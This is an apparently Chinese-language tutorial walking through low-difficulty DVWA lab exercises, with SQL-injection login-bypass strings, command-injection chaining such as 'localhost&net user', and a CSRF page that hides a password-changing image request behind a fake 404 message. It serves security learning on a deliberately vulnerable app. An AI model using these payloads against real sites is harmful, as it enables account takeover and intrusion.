DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

官网地址:http://www.dvwa.co.uk/

github地址:https://github.com/ethicalhack3r/DVWA

最新版(截止180901)

下载地址:https://github.com/ethicalhack3r/DVWA/archive/v1.9.zip

安装说明

通过文件/config/config.inc.php进行配置

DVWA登陆界面

其中一个默认密码:admin/password

DVWA共有十个模块,分别是:

Brute Force(暴力(破解))

Command Injection(命令行注入)

CSRF(跨站请求伪造)

File Inclusion(文件包含)

File Upload(文件上传)

Insecure CAPTCHA(不安全的验证码)

SQL Injection(SQL注入)

SQL Injection(Blind)(SQL盲注)

XSS(Reflected)(反射型跨站脚本)

XSS(Stored)(存储型跨站脚本)

DVWA分为四个等级的难度:

具体可以通过 DVWA Security 进行难度选择。

DVWA知识讲解

Brute Force  --  爆破

LOW 181008

#1  爆破

brupsuite抓包

使用Intruder模块爆破密码

得到admin password

#2  sql注入

我们分析源代码,发现没有任何的过滤

后台数据库查询语句:SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';

admin' or '1'='1

SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';  (登陆成功)
SELECT * FROM `users` WHERE user = 'admin123' or '1'='1' AND password = '$pass';  (登陆失败,因为逻辑符号优先级问题,会先执行and,然后执行or)

admin'#
SELECT * FROM `users` WHERE user = 'admin' #' AND password = '$pass';  (登陆成功)

Command Injection  --  命令执行

首先确定后台是什么系统,这里是windows

localhost&net user  先执行1,不管是否成功,都会执行2

localhost&&net user   如果1执行成功,则执行2

localhost|net user  将1的输出作为2的输入,并且只打印2执行的结果。

localhost||net user  如果1执行失败,则执行2

LOW 181008

CSRF  --  跨站脚本攻击

跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

而XSS更偏向利用漏洞执行js代码。

LOW 181015

如图,低难度的csrf只是验证输入的两次新密码是否一致,一致就可以修改密码。

抓包如下:

构造payload:

A) 最基础的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击了这个链接,他的密码就会被改成password

这种攻击不加伪装,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了。

B) 改进版

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=11111111&password_conf=11111111&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了11111111。

显示修改成功。

DVWA v1.9 新手指南的更多相关文章

  1. 安全测试8_Web安全实战1(DVWA部署)

    1.渗透神器的打造(火狐浏览器的打造) Firebug HackBar(渗透插件) Tamper Data(抓包.截包.改包等功能) Proxy Switcher(代理设置) 2.PHP环境安装(ph ...

  2. DVWA平台v1.8-SQL注入(low级别)

    代码 <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT fi ...

  3. DVWA平台v1.9-Brute Force

    Low: 随便输一下用户名,密码,test 点击Login 显示用户名或密码错误 在owasp-zap查看数据包 点击,就会转到这 右键,点击Fuzz 点击Remove删除默认的 选定参数变量值,点击 ...

  4. DVWA平台v1.8-反射型XSS(low级别)

    源代码 <?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name' ...

  5. DVWA平台v1.9-Command Injection

    命令拼接: &:简单的拼接,第一条命令和第二条命令间没有什么制约关系 &&:第一条命令执行成功了,才会执行第二条命令 |:第一条命令的输出作为第二条命令的输入 ||:第一条命令 ...

  6. DVWA 黑客攻防演练(二)暴力破解 Brute Froce

    暴力破解,简称"爆破".不要以为没人会对一些小站爆破.实现上我以前用 wordpress 搭建一个博客开始就有人对我的站点进行爆破.这是装了 WordfenceWAF 插件后的统计 ...

  7. [置顶] 献给写作者的 Markdown 新手指南

    作者:http://jianshu.io/p/q81RER 出处:http://jianshu.io/p/q81RER 献给写作者的 Markdown 新手指南 简书 「简书」作为一款「写作软件」在诞 ...

  8. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  9. 搭建DVWA Web渗透测试靶场

    文章更新于:2020-04-13 按照惯例,需要的文件附上链接放在文首. 文件名:DVWA-1.9-2020.zip 文件大小:1.3 M 文件说明:这个是新版 v1.9 (其实是 v1.10开发版) ...

随机推荐

  1. spark集群的简单测试和基础命令的使用

    写此篇文章之前,已经搭建好spark集群并测试成功: spark集群搭建文章链接:http://www.cnblogs.com/mmzs/p/8193707.html 一.启动环境 由于每次都要启动, ...

  2. WCF、WebAPI、WCFREST、WebService之间的区别【转载】

    在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下,你有很多的选择来构建一个HTTP Services.我分享一下我对 ...

  3. [转]Cordova Android 返回键拦截(backbutton)和退出(再点击一次跳出)

    本文转自:https://blog.csdn.net/aierJun/article/details/53944061 在Android原生webview里重写onBackPressed()就可以.@ ...

  4. Chrome插件开发,美化网页上的文件列表。chrome-extension,content-scripts

    趁着2018年还剩最后几天,发几篇博客,荒废太久了,惭愧. 最近也是需求驱动,研究了下Chrome插件开发.来看一下我们公司运维提供的日志查看页面 所有项目的日志都参杂在一起,每次去找都很痛苦.慢慢发 ...

  5. 在SoapUI中模拟用户操作

    SoapUI作为一款接口测试工具,具有极大的灵活性和拓展性.它可以通过安装插件,拓展其功能.Selenium作为一款Web自动化测试插件可以很好的与SoapUI进行集成.如果要在SoapUI中模拟用户 ...

  6. SQL 注入漏洞

    首先要知道sql注入形成的原因:用户输入的数据被sql解释器执行 sql注入又分:数字型,字符型,cookie 注入,post注入,延时注入,搜索注入,base64注入 如何甄别一个模块是否有sql注 ...

  7. vb.net 與 SQLite連線

    Dim ModuleSql As String Dim n As Integer 'SQLite連線Dim connSQLite As New Data.SQLite.SQLiteConnection ...

  8. [android] 表格布局和绝对布局

    /*****************2016年4月28日 更新*************************************/ 知乎:为什么Android没有像iOS一样提供autolay ...

  9. mysql函数技巧整理

    IF(expr,v1,v2) expr表达式为true时返回v1,否则返回v2 IFNULL(v1,v2) 如果v1为NULL,返回v2 :v1不为NULL 则返回v1 CASE expr WHEN ...

  10. (6)Microsoft office Word 2013版本操作入门_文件封面,页首,页尾

    1插入封面: 1.1光标移动到首段,按住 Ctrl+Enter键可以插入一个新页面. 1.2 插入--->封面 可以在封面插入一个文件封面,里面的图片可以自己修改,文字标题也可以自己修改. 1. ...